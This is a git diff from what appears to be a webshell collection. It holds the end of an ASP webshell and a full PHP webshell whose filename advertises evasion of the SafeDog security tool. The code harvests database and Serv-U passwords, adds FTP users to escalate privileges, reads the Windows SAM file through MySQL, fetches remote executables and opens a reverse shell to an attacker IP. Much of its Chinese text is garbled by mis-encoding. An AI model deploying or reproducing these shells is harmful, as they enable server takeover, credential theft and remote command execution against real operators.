    " +RRS"c:\Program Files\Common Files\Symantec Shared\Validate.dat
    " +RRS"c:\Program Files\Common Files\Symantec Shared\Persist.Dat
    " +RRS"ļ滻:
    " +RRS"C:\WINDOWS\hchiblis.ibl
    " +RRS"һĿ¼ļ
    " +RRS"C:\7i24.com\iissafe\log\startandiischeck.txt
    " +RRS"C:\7i24.com\iissafe\log\scanlog.htm
    " +RRS":
    " +RRS"Zend: C:\Program Files\Zend\ZendOptimizer-3.3.0\lib\Optimizer-3.3.0\php-5.2.x\ZendOptimizer.dll
    " +RRS"C:\Documents and Settings\All Users\Application Data\Microsoft\Media Index\
    " +RRS"Ps:Ȩͨڸϵͳ
    " +end function +Function fuzhutq2() +RRS"

    :Ȩ:

    " +RRS"1`c:\windows\temphzhostµftp½¼vû
    " +RRS"2@mssql sa,mysql root뼰serv-uadministrator
    " +RRS"mysql root룺HKEY_LOCAL_MACHINE\software\hzhost\config\settings\mysqlpass
    " +RRS"sqlserver sa룺HKEY_LOCAL_MACHINE\software\hzhost\config\settings\mastersvrpass
    " +RRS"Serv-u룺HKEY_LOCAL_MACHINE\software\hzhost\config\settings\svrpass
    " +RRS"Ϣhzhostsϵͳ6.x ƽݿ빤ʹ
    " +RRS"صַٶ 'hzhostsϵͳ6.x ƽݿ빤'
    " +RRS"Ps:Ȩͨڴϵͳ
    " +end function +Function fuzhutq3() +RRS"

    :NȨ:

    " +RRS"Ĭݿأ
    " +RRS"1.9棺host_date/%23host%20%23%20date%23.mdb
    " +RRS"1.96棺host_date/%23host%20%23%20date%23196.mdb
    " +RRS"巽ͨͬIIS,ȻվNվĿ¼£ַͨػصõsamysqlվϢkeyͨĴܣ
    " +'RRS"ַ:Ĵ" +RRS"Ps:Ȩͨڴϵͳ
    " +end function +Function fuzhutq4() +RRS"ȴ2ED" +end function +Function fuzhutq5() +if Request("Paths") ="" then +Paths_str="c:\windows\"&chr(13)&chr(10)&"c:\Documents and Settings\"&chr(13)&chr(10)&"c:\Program Files\" +if Session("paths")<>"" then Paths_str=Session("paths") + Response.Write "
    " + Response.Write "˳ԼĿ¼д,ΪṩһЩȫϢ!
    Ŀ¼,ԶĿ¼
    " + Response.Write "" + Response.Write "
    " + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
    " +else +Response.Write "·
    " +CheckFile = (Request("CheckFile")="on") +CheckNextDir = (Request("CheckNextDir")="on") +ShowNoWriteDir = (Request("ShowNoWrite")="on") +NoCheckTemp = (Request("NoCheckTemp")="on") +Response.Write "ҪһʱԵ......
    " +response.Flush + +Session("paths") = Request("Paths") + +PathsSplit=Split(Request("Paths"),chr(13)&chr(10)) +For i=LBound(PathsSplit) To UBound(PathsSplit) +if instr(PathsSplit(i),":")>0 then + ShowDirWrite_Dir_File Trim(PathsSplit(i)),CheckFile,CheckNextDir +End If +Next +Response.Write "[ɨ]
    " +end if +end function +Function cmd2() +response.write"
    " +response.write"" +response.write"
    " +response.write"" +end function +Function suftp() +RRS"

    ɰ汾Ϣ:

    " +RRS"
    " +RRS"
    Ա:
    " +RRS"
    Ա :
    " +RRS"
    SERV-U˿:
    " +RRS"
    ӵû:
    " +RRS"
    ӵû:
    " +RRS"
    ʺŵԵ·:
    " +RRS"
    ˿:
    " +RRS"
    ȷ" +RRS"
    ȷɾ" +RRS"

    " +Usr = request.Form("duser") +pwd = request.Form("dpwd") +port = request.Form("dport") +tuser = request.Form("tuser") +tpass = request.Form("tpass") +tpath = request.Form("tpath") +tport = request.Form("tport") +'Command = request.Form("dcmd") +if request.Form("radiobutton") = "add" Then +leaves = "User " & Usr & vbcrlf +leaves = leaves & "Pass " & pwd & vbcrlf +leaves = leaves & "SITE MAINTENANCE" & vbcrlf +'leaves = leaves & "-SETDOMAIN" & vbcrlf & "-Domain=cctv|0.0.0.0|43859|-1|1|0" & vbcrlf & "-TZOEnable=0" & vbcrlf & " TZOKey=" & vbcrlf +leaves = leaves & "-SETUSERSETUP" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & "-User=" & tuser & vbcrlf & "-Password=" & tpass & vbcrlf & _ +"-HomeDir=" & tpath & "\" & vbcrlf & "-LoginMesFile=" & vbcrlf & "-Disable=0" & vbcrlf & "-RelPaths=1" & vbcrlf & _ +"-NeedSecure=0" & vbcrlf & "-HideHidden=0" & vbcrlf & "-AlwaysAllowLogin=0" & vbcrlf & "-ChangePassword=0" & vbcrlf & _ +"-QuotaEnable=0" & vbcrlf & "-MaxUsersLoginPerIP=-1" & vbcrlf & "-SpeedLimitUp=0" & vbcrlf & "-SpeedLimitDown=0" & vbcrlf & _ +"-MaxNrUsers=-1" & vbcrlf & "-IdleTimeOut=600" & vbcrlf & "-SessionTimeOut=-1" & vbcrlf & "-Expire=0" & vbcrlf & "-RatioUp=1" & vbcrlf & _ +"-RatioDown=1" & vbcrlf & "-RatiosCredit=0" & vbcrlf & "-QuotaCurrent=0" & vbcrlf & "-QuotaMaximum=0" & vbcrlf & _ +"-Maintenance=System" & vbcrlf & "-PasswordType=Regular" & vbcrlf & "-Ratios=None" & vbcrlf & " Access=" & tpath & "\|RWAMELCDP" & vbcrlf +'leaves = leaves & "quit" & vbcrlf +'-------- +On Error Resume Next +Set xPost = CreateObject("MSXML2.XMLHTTP") +xPost.Open "POST", "http://127.0.0.1:"& port &"/leaves", True +xPost.Send(leaves) +Set xPOST=nothing +RRS ("ɹִУFTP û: " & tuser & " " & ": " & tpass & " ·: " & tpath & " :)

    ") +else +leaves = "User " & Usr & vbcrlf +leaves = leaves & "Pass " & pwd & vbcrlf +leaves = leaves & "SITE MAINTENANCE" & vbcrlf +leaves = leaves & "-DELETEUSER" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & tport & vbcrlf & " User=" & tuser & vbcrlf +Set xPost3 = CreateObject("MSXML2.XMLHTTP") +xPost3.Open "POST", "http://127.0.0.1:"& port &"/leaves", True +xPost3.Send(leaves) +Set xPOST3=nothing +RRS "OKOKOK

    " +end if +End Function +Case "ScanDriveForm" + ScanDriveForm + Case "ScanDrive" + ScanDrive Request("Drive") + Case "ScFolder" + ScFolder Request("Folder") +case "apjdel":apjdel():case "Servu7x":su7():case "fuzhutq1":fuzhutq1():case "fuzhutq2":fuzhutq2():case "fuzhutq3":fuzhutq3():case "fuzhutq4":fuzhutq4():case "fuzhutq5":fuzhutq5():case "Cmd2":cmd2():case "suftp":suftp():case"hiddenshell":hiddenshell():case "php":php():case "aspx":aspx():case "jsp":jsp():Case "MMD":MMD():Case "adminab":adminab():Case "sql":sql():Case "downloads":downloads():Case "ReadREG":call ReadREG():Case "att":call att():Case "Show1File":Set ABC=New LBF:ABC.Show1File(Session("FolderPath")):Set ABC=Nothing:Case "DownFile":DownFile FName:ShowErr():Case "DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing:Case "EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing:Case "CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing:Case "MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing:Case "DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing:Case "CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing:Case "MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing:Case "NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing:Case "UpFile":UpFile():Case "Cmd1Shell":Cmd1Shell():Case "Logout":Session.Contents.Remove("web2a2dmin"):Response.Redirect URL:Case "CreateMdb":CreateMdb FName:Case "CompactMdb":CompactMdb FName:Case "DbManager":DbManager():Case "Course":Course():Case "ServerInfo":ServerInfo():Case Else MainForm():End Select:ExeCute SinfoEn("r(ErowShn he tu~rvSe>~ntm/h> + \ No newline at end of file diff --git a/www-7jyewu-cn/最新过安全狗- 免杀PHP大马 -.php b/www-7jyewu-cn/最新过安全狗- 免杀PHP大马 -.php new file mode 100644 index 0000000..e092d2c --- /dev/null +++ b/www-7jyewu-cn/最新过安全狗- 免杀PHP大马 -.php @@ -0,0 +1,2488 @@ + $v) $_POST[$k] = stripslashes($v); + foreach($_GET as $k => $v) $_GET[$k] = stripslashes($v); +} + +/*---End Login---*/ +if(isset($_GET['down'])) do_down($_GET['down']); +if(isset($_GET['pack'])){ + $dir = do_show($_GET['pack']); + $zip = new eanver($dir); + $out = $zip->out; + do_download($out,"eanver.tar.gz"); +} +if(isset($_GET['unzip'])){ + css_main(); + start_unzip($_GET['unzip'],$_GET['unzip'],$_GET['todir']); + exit; +} + +define('root_dir',str_replace('\\','/',dirname(myaddress)).'/'); +define('run_win',substr(PHP_OS, 0, 3) == "WIN"); +define('my_shell',str_path(root_dir.$_SERVER['SCRIPT_NAME'])); +$eanver = isset($_GET['eanver']) ? $_GET['eanver'] : ""; +$doing = isset($_POST['doing']) ? $_POST['doing'] : ""; +$path = isset($_GET['path']) ? $_GET['path'] : root_dir; +$name = isset($_POST['name']) ? $_POST['name'] : ""; +$img = isset($_GET['img']) ? $_GET['img'] : ""; +$p = isset($_GET['p']) ? $_GET['p'] : ""; +$pp = urlencode(dirname($p)); +if($img) css_img($img); +if($eanver == "phpinfo") die(phpinfo()); +if($eanver == 'logout'){ + setcookie('envlpass',null); + die(''); +} + +$class = array( +"Ϣ" => array("upfiles" => "ϴļ","phpinfo" => "Ϣ","info_f" => "ϵͳϢ","eval" => "ִPHPű"), +"Ȩ" => array("sqlshell" => "ִSQLִ","mysql_exec" => "MYSQL","myexp" => "MYSQLȨ","servu" => "Serv-UȨ","nc" => "NC","downloader" => "ļ","port" => "˿ɨ"), +"" => array("guama" => "","tihuan" => "滻","scanfile" => "ļ","scanphp" => "ľ"), +"ű" => array("getcode" => "ȡҳԴ") +); +$msg = array("0" => "ɹ","1" => "ʧ","2" => "ϴɹ","3" => "ϴʧ","4" => "޸ijɹ","5" => "޸ʧ","6" => "ɾɹ","7" => "ɾʧ"); +css_main(); +switch($eanver){ + case "left": + css_left(); + html_n("
    "); + html_img("title");html_n(" Ӳ
      "); + $ROOT_DIR = File_Mode(); + html_n("
    • վĿ¼
    • "); + html_n("
    • Ŀ¼
    • "); + for ($i=66;$i<=90;$i++){$drive= chr($i).':'; + if (is_dir($drive."/")){$vol=File_Str("vol $drive");if(empty($vol))$vol=$drive; + html_n("
    • ش($drive)
    • ");}} + html_n("
    "); + $i = 2; + foreach($class as $name => $array){ + html_n("
    "); + html_img("title");html_n(" $name
      "); + foreach($array as $url => $value){ + html_n("
    • $value
    • "); + } + html_n("
    "); + $i++; + } + html_n("
    "); + html_img("title");html_n("
      "); + html_n("
    • ɱ
    • "); + html_n("
    • ȫ˳
    • "); + html_n("
    "); + html_n("
  • "); + break; + + case "main": + css_js("1"); + $dir = @dir($path); + $REAL_DIR = File_Str(realpath($path)); + if(!empty($_POST['actall'])){echo '
    '.File_Act($_POST['files'],$_POST['actall'],$_POST['inver'],$REAL_DIR).'
    ';} + $NUM_D = $NUM_F = 0; + if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/'; + $ROOT_DIR = File_Mode(); + html_n("
    ַ:"); + html_n("
    "); + html_n("
    "); + html_n(" "); + html_input("file","upfilet","","      "); + html_input("submit","uploadt","ϴ"); + if(!empty($_POST['newfile'])){ + if(isset($_POST['bin'])) $bin = $_POST['bin']; else $bin = "wb"; + if (substr(PHP_VERSION,0,1)>=5){if(($_POST['charset']=='GB2312') or ($_POST['charset']=='GBK')){}else{$_POST['txt'] = iconv("gb2312//IGNORE",$_POST['charset'],$_POST['txt']);}} + echo do_write($_POST['newfile'],$bin,$_POST['txt']) ? '
    '.$_POST['newfile'].' '.$msg[0] : '
    '.$_POST['newfile'].' '.$msg[1]; + @touch($_POST['newfile'],@strtotime($_POST['time'])); + } + html_n('
    '); + while($dirs = @$dir->read()){ + if($dirs == '.' or $dirs == '..') continue; + $dirpath = str_path("$path/$dirs"); + if(is_dir($dirpath)){ + $perm = substr(base_convert(fileperms($dirpath),10,8),-4); + $filetime = @date('Y-m-d H:i:s',@filemtime($dirpath)); + $dirpath = urlencode($dirpath); + html_n(''); + $NUM_D++; + } + } + @$dir->rewind(); + while($files = @$dir->read()){ + if($files == '.' or $files == '..') continue; + $filepath = str_path("$path/$files"); + if(!is_dir($filepath)){ + $fsize = @filesize($filepath); + $fsize = File_Size($fsize); + $perm = substr(base_convert(fileperms($filepath),10,8),-4); + $filetime = @date('Y-m-d H:i:s',@filemtime($filepath)); + $Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$filepath); + $todir=$ROOT_DIR.'/zipfile'; + $filepath = urlencode($filepath); + $it=substr($filepath,-3); + html_n(''); + $NUM_F++; + } + } + @$dir->close(); + if(!$Filetime) $Filetime = gmdate('Y-m-d H:i:s',time() + 3600 * 8); +print<< +
    + + + + + + + +Ŀ¼({$NUM_D}) / ļ({$NUM_F})
    + +END; + break; + + case "editr": + css_js("2"); + if(!empty($_POST['uploadt'])){ + echo @copy($_FILES['upfilet']['tmp_name'],str_path($p.'/'.$_FILES['upfilet']['name'])) ? html_a("?eanver=main",$_FILES['upfilet']['name'].' '.$msg[2]) : msg($msg[3]); + die(''); + } + if(!empty($_GET['redir'])){ + $name=$_GET['name']; + $newdir = str_path($p.'/'.$name); + @mkdir($newdir,0777) ? html_a("?eanver=main",$name.' '.$msg[0]) : msg($msg[1]); + die(''); + } + + if(!empty($_GET['refile'])){ + $name=$_GET['name']; + $jspath=urlencode($p.'/'.$name); + $pp = urlencode($p); + $p = str_path($p.'/'.$name); + $FILE_CODE = ""; + $charset= 'GB2312'; + $FILE_TIME =date('Y-m-d H:i:s',time()+3600*8); + if(@file_exists($p)) echo 'Ŀ¼"ͬ"ļ
    '; + }else{ + $jspath=urlencode($p); + $FILE_TIME = date('Y-m-d H:i:s',filemtime($p)); + $FILE_CODE=@file_get_contents($p); + if (substr(PHP_VERSION,0,1)>=5){ + if(empty($_GET['charset'])){ + if(TestUtf8($FILE_CODE)>1){$charset= 'UTF-8';$FILE_CODE = iconv("UTF-8","gb2312//IGNORE",$FILE_CODE);}else{$charset= 'GB2312';} + }else{ + if($_GET['charset']=='GB2312'){$charset= 'GB2312';}else{$charset= $_GET['charset'];$FILE_CODE = iconv($_GET['charset'],"gb2312//IGNORE",$FILE_CODE);} + } + } + $FILE_CODE = htmlspecialchars($FILE_CODE); + } +print<<: + +
    +
    +ָ룺 + +END; +html_select(array("GB2312" => "GB2312","UTF-8" => "UTF-8","BIG5" => "BIG5","EUC-KR" => "EUC-KR","EUC-JP" => "EUC-JP","SHIFT-JIS" => "SHIFT-JIS","WINDOWS-874" => "WINDOWS-874","ISO-8859-1" => "ISO-8859-1"),$charset,"onchange=\"window.location='?eanver=editr&p={$jspath}&charset='+options[selectedIndex].value;\""); +print<< +
    +
    ļ޸ʱ Զʽļ(ʹ)
    +
    +
    + +END; + break; + + case "rename": + html_n("
    "); + break; + + case "info_f": + $dis_func = get_cfg_var("disable_functions"); + $upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "ϴ"; + $adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "".$_SERVER['SERVER_ADMIN']."" : "".get_cfg_var("sendmail_from").""; + if($dis_func == ""){$dis_func = "No";}else{$dis_func = str_replace(" ","
    ",$dis_func);$dis_func = str_replace(",","
    ",$dis_func);} + $phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No"; + $info = array( + array("ʱ",date("Ymd h:i:s",time())), + array("","".$_SERVER['SERVER_NAME'].""), + array("IPַ",gethostbyname($_SERVER['SERVER_NAME'])), + array("ϵͳ",PHP_OS), + array("ϵͳֱ",$_SERVER['HTTP_ACCEPT_LANGUAGE']), + array("",$_SERVER['SERVER_SOFTWARE']), + array("IP",$_SERVER["REMOTE_ADDR"]), + array("Web˿",$_SERVER['SERVER_PORT']), + array("PHPзʽ",strtoupper(php_sapi_name())), + array("PHP汾",PHP_VERSION), + array("ڰȫģʽ",Info_Cfg("safemode")), + array("Ա",$adminmail), + array("ļ·",myaddress), + array("ʹ URL ļ allow_url_fopen",Info_Cfg("allow_url_fopen")), + array("ʹcurl_exec",Info_Fun("curl_exec")), + array("̬ӿ enable_dl",Info_Cfg("enable_dl")), + array("ʾϢ display_errors",Info_Cfg("display_errors")), + array("Զȫֱ register_globals",Info_Cfg("register_globals")), + array("magic_quotes_gpc",Info_Cfg("magic_quotes_gpc")), + array("ʹڴ memory_limit",Info_Cfg("memory_limit")), + array("POSTֽ post_max_size",Info_Cfg("post_max_size")), + array("ϴļ upload_max_filesize",$upsize), + array("ʱ max_execution_time",Info_Cfg("max_execution_time").""), + array("õĺ disable_functions",$dis_func), + array("phpinfo()",$phpinfo), + array("Ŀǰпռdiskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'), + array("ͼδ GD Library",Info_Fun("imageline")), + array("IMAPʼϵͳ",Info_Fun("imap_close")), + array("MySQLݿ",Info_Fun("mysql_close")), + array("SyBaseݿ",Info_Fun("sybase_close")), + array("Oracleݿ",Info_Fun("ora_close")), + array("Oracle 8 ݿ",Info_Fun("OCILogOff")), + array("PREL﷨ PCRE",Info_Fun("preg_match")), + array("PDFĵ֧",Info_Fun("pdf_close")), + array("Postgre SQLݿ",Info_Fun("pg_close")), + array("SNMPЭ",Info_Fun("snmpget")), + array("ѹļ֧(Zlib)",Info_Fun("gzclose")), + array("XML",Info_Fun("xml_set_object")), + array("FTP",Info_Fun("ftp_login")), + array("ODBCݿ",Info_Fun("odbc_close")), + array("Session֧",Info_Fun("session_start")), + array("Socket֧",Info_Fun("fsockopen")), + ); + $shell = new COM("WScript.Shell") or die("This thing requires Windows Scripting Host"); + echo '
    '); + html_a('?eanver=main&path='.uppath($path),'ϼĿ¼'); + html_n(''); + html_n('ļ޸ʱļС
    '); + html_img("dir"); + html_a('?eanver=main&path='.$dirpath,$dirs); + html_n(''); + html_n(""); + html_n("ɾ "); + html_a('?pack='.$dirpath,''); + html_n(''); + html_a('?eanver=perm&p='.$dirpath.'&chmod='.$perm,$perm); + html_n(''.$filetime.''); + html_n('
    '); + html_img(css_showimg($files)); + html_a($Fileurls,$files); + html_n(''); + if(($it=='.gz') or ($it=='zip') or ($it=='tar') or ($it=='.7z')) + html_a('?unzip='.$filepath,'ѹ','title="ѹ'.$files.'" onClick="rusurechk(\''.$todir.'\',\'?unzip='.$filepath.'&todir=\');return false;"'); + else + html_a('?eanver=editr&p='.$filepath,'༭','title="༭'.$files.'"'); + + html_n(""); + html_n("ɾ "); + html_n(""); + html_n(''); + html_a('?eanver=perm&p='.$filepath.'&chmod='.$perm,$perm); + html_n(''.$filetime.''); + html_a('?down='.$filepath,$fsize,'title="'.$files.'"'); + html_n('
    "); + $newname = urldecode($pp).'/'.urlencode($_GET['newname']); + @rename($p,$newname) ? html_a("?eanver=main&path=$pp",urlencode($_GET['newname']).' '.$msg[4]) : msg($msg[5]); + die(''); + break; + + case "deltree": + html_n("
    "); + do_deltree($p) ? html_a("?eanver=main&path=$pp",$p.' '.$msg[6]) : msg($msg[7]); + die(''); + break; + + case "del": + html_n("
    "); + @unlink($p) ? html_a("?eanver=main&path=$pp",$p.' '.$msg[6]) : msg($msg[7]); + die(''); + break; + + case "copy": + html_n("
    "); + $newpath = explode('/',$_GET['newcopy']); + $pathr[0] = $newpath[0]; + for($i=1;$i < count($newpath);$i++){ + $pathr[] = urlencode($newpath[$i]); + } + $newcopy = implode('/',$pathr); + @copy($p,$newcopy) ? html_a("?eanver=main&path=$pp",$newcopy.' '.$msg[4]) : msg($msg[5]); + die(''); + break; + + case "perm": + html_n("
    ".$p.' Ϊ: '); + if(is_dir($p)){ + html_select(array("0777" => "0777","0755" => "0755","0555" => "0555"),$_GET['chmod']); + }else{ + html_select(array("0666" => "0666","0644" => "0644","0444" => "0444"),$_GET['chmod']); + } + html_input("submit","save","޸"); + back(); + if($_POST['class']){ + switch($_POST['class']){ + case "0777": $change = @chmod($p,0777); break; + case "0755": $change = @chmod($p,0755); break; + case "0555": $change = @chmod($p,0555); break; + case "0666": $change = @chmod($p,0666); break; + case "0644": $change = @chmod($p,0644); break; + case "0444": $change = @chmod($p,0444); break; + } + $change ? html_a("?eanver=main&path=$pp",$msg[4]) : msg($msg[5]); + die(''); + } + html_n("
    '; + for($i = 0;$i < count($info);$i++){echo ''."\n";} +try{$registry_proxystring = $shell->RegRead("HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp\PortNumber"); +$Telnet = $shell->RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\TelnetServer\\1.0\\TelnetPort"); +$PcAnywhere = $shell->RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Symantec\\pcAnywhere\\CurrentVersion\\System\\TCPIPDataPort"); +}catch(Exception $e){} + echo ''."\n"; + echo ''."\n"; + echo ''."\n"; + echo '
    '.$info[$i][0].''.$info[$i][1].'
    Terminal Service˿Ϊ'.$registry_proxystring.'
    Telnet˿Ϊ'.$Telnet.'
    PcAnywhere˿Ϊ'.$PcAnywhere.'
    '; + break; + + case "nc": + $M_ip = isset($_POST['mip']) ? $_POST['mip'] : $_SERVER["REMOTE_ADDR"]; + $B_port = isset($_POST['bport']) ? $_POST['bport'] : '1019'; +print<< +
    ʹ÷
    + Լ"nc -l -p 1019"
    + ȻڴдԵIP,ӣ
    +
    IP ˿ں
    +
    + +END; + if((!empty($_POST['mip'])) && (!empty($_POST['bport']))) + { + echo '
    '; + $mip=$_POST['mip']; + $bport=$_POST['bport']; + $fp=fsockopen($mip , $bport , $errno, $errstr); + if (!$fp){ + $result = "Error: could not open socket connection"; + }else { + fputs ($fp ,"\n*********************************************\n + hacking url:http://www.mumasec.tk/ is ok! + \n*********************************************\n\n"); + while(!feof($fp)){ + fputs ($fp," [r00t@H4c3ing:/root]# "); + $result= fgets ($fp, 4096); + $message=`$result`; + fputs ($fp,"--> ".$message."\n"); + } + fclose ($fp); + } + echo '
    '; + } + break; + + + case "sqlshell": + $MSG_BOX = ''; + $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();'; + if(isset($_POST['mhost']) && isset($_POST['muser'])) + { + $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; + if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata); + else $MSG_BOX = 'MYSQLʧ'; + } + $downfile = 'c:/windows/repair/sam'; + if(!empty($_POST['downfile'])) + { + $downfile = File_Str($_POST['downfile']); + $binpath = bin2hex($downfile); + $query = 'select load_file(0x'.$binpath.')'; + if($result = @mysql_query($query,$conn)) + { + $k = 0; $downcode = ''; + while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;} + $filedown = basename($downfile); + if(!$filedown) $filedown = 'envl.tmp'; + $array = explode('.', $filedown); + $arrayend = array_pop($array); + header('Content-type: application/x-'.$arrayend); + header('Content-Disposition: attachment; filename='.$filedown); + header('Content-Length: '.strlen($downcode)); + echo $downcode; + exit; + } + else $MSG_BOX = 'ļʧ'; + } + $o = isset($_GET['o']) ? $_GET['o'] : ''; +print<< +
    +
    +˿ + + +
    +
    +END; +if($o == 'u') +{ + $uppath = 'C:/Documents and Settings/All Users/ʼ˵///exp.vbs'; + if(!empty($_POST['uppath'])) + { + $uppath = $_POST['uppath']; + $query = 'Create TABLE a (cmd text NOT NULL);'; + if(@mysql_query($query,$conn)) + { + if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));} + else{$tmp = File_Str(dirname(myaddress)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}} + $query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));'; + if(@mysql_query($query,$conn)) + { + $query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';'; + $MSG_BOX = @mysql_query($query,$conn) ? 'ϴļɹ' : 'ϴļʧ'; + } + else $MSG_BOX = 'ʱʧ'; + @mysql_query('Drop TABLE IF EXISTS a;',$conn); + } + else $MSG_BOX = 'ʱʧ'; + } +print<<
    ϴ· +

    ѡļ +
    +END; +} +elseif($o == 'd') +{ +print<<

    ļ +
    +END; +} +else +{ + if(!empty($_POST['msql'])) + { + $msql = $_POST['msql']; + if($result = @mysql_query($msql,$conn)) + { + $MSG_BOX = 'ִSQLɹ
    '; + $k = 0; + while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} + } + else $MSG_BOX .= mysql_error(); + } +print<< +function nFull(i){ + Str = new Array(11); + Str[0] = "select version();"; + Str[1] = "select load_file(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C) FROM user into outfile 'D:/web/iis.txt'"; + Str[2] = "select '' into outfile 'F:/web/bak.php';"; + Str[3] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;"; + nform.msql.value = Str[i]; + return true; +} + +
    +
    + + +END; +} + if($MSG_BOX != '') echo '
    '.$MSG_BOX.'
    '; + else echo '
    '; + break; + + case "downloader": + $Com_durl = isset($_POST['durl']) ? $_POST['durl'] : 'http://www.baidu.com/down/muma.exe'; + $Com_dpath= isset($_POST['dpath']) ? $_POST['dpath'] : File_Str(dirname(myaddress).'/muma.exe'); +print<< +
    +
    ص
    +
    +END; + if((!empty($_POST['durl'])) && (!empty($_POST['dpath']))) + { + echo '
    '; + $contents = @file_get_contents($_POST['durl']); + if(!$contents) echo '޷ȡҪص'; + else echo File_Write($_POST['dpath'],$contents,'wb') ? 'ļɹ' : 'ļʧ'; + echo '
    '; + } + break; + + case "issql": + session_start(); + if($_POST['sqluser'] && $_POST['sqlpass']){ + $_SESSION['sql_user'] = $_POST['sqluser']; + $_SESSION['sql_password'] = $_POST['sqlpass']; + } + if($_POST['sqlhost']){$_SESSION['sql_host'] = $_POST['sqlhost'];} + else{$_SESSION['sql_host'] = 'localhost';} + if($_POST['sqlport']){$_SESSION['sql_port'] = $_POST['sqlport'];} + else{$_SESSION['sql_port'] = '3306';} + if($_SESSION['sql_user'] && $_SESSION['sql_password']){ + if(!($sqlcon = @mysql_connect($_SESSION['sql_host'].':'.$_SESSION['sql_port'],$_SESSION['sql_user'],$_SESSION['sql_password']))){ + unset($_SESSION['sql_user'], $_SESSION['sql_password'], $_SESSION['sql_host'], $_SESSION['sql_port']); + die(html_a('?eanver=sqlshell','ʧ뷵')); + } + } + else{ + die(html_a('?eanver=sqlshell','ʧ뷵')); + } + $query = mysql_query("SHOW DATABASES",$sqlcon); + html_n('ݿб:'); + while($db = mysql_fetch_array($query)) { + html_a('?eanver=issql&db='.$db['Database'],$db['Database']); + echo '  '; + } + html_n(''); + if($_GET['db']){ + css_js("3"); + mysql_select_db($_GET['db'], $sqlcon); + html_n('

    '); + html_select(array(0=>"--SQL﷨--",7=>"",8=>"ɾ",9=>"޸",10=>"ݱ",11=>"ɾݱ",12=>"ֶ",13=>"ɾֶ"),0,"onchange='return Full(options[selectedIndex].value)'"); + html_input("submit","doquery","ִ"); + html_a("?eanver=issql&db=".$_GET['db'],$_GET['db']); + html_n('--->'); + html_a("?eanver=issql&db=".$_GET['db']."&table=".$_GET['table'],$_GET['table']); + html_n('

    '); + if(!empty($_POST['sql'])){ + if (@mysql_query($_POST['sql'],$sqlcon)) { + echo "ִSQLɹ"; + }else{ + echo ": ".mysql_error(); + } + } + if($_GET['table']){ + html_n(''); + $query = "SHOW COLUMNS FROM ".$_GET['table']; + $result = mysql_query($query,$sqlcon); + $fields = array(); + while($row = mysql_fetch_assoc($result)){ + array_push($fields,$row['Field']); + html_n(''); + } + html_n(''); + $result = mysql_query("SELECT * FROM ".$_GET['table'],$sqlcon) or die(mysql_error()); + while($text = @mysql_fetch_assoc($result)){ + foreach($fields as $row){ + if($text[$row] == "") $text[$row] = 'NULL'; + html_n(''); + } + echo ''; + } + } + else{ + $query = "SHOW TABLES FROM " . $_GET['db']; + $dat = mysql_query($query, $sqlcon) or die(mysql_error()); + while ($row = mysql_fetch_row($dat)){ + html_n(""); + } + } + } + break; + + case "upfiles": + html_n(''); + if(!empty($_POST['path'])){ + html_n(''); + if(!empty($_POST['path'])){ + html_n(''); + if(!empty($_POST['path'])){ + html_n(''); + if(!empty($_POST['path'])){ + html_n(' + + + + + + + + + + + +
    '.$row['Field'].'
    '.$text[$row].'
    ".$row[0]."
    ϴļС: '.@get_cfg_var('upload_max_filesize').'
    '); + html_input("text","uppath",root_dir,"
    ϴ·: ","51"); +print<< +function addTank(){ +var k=0; + k=k+1; + k=tank.rows.length; + newRow=document.all.tank.insertRow(-1) + + newcell=newRow.insertCell() + newcell.innerHTML=" " +} + +function delTank() { + if(tank.rows.length==1) return; + var checkit = false; + for (var i=0;i +

    + + + + +
    + +
    + + + +
    ѡҪϴļ
    +END; + html_n('
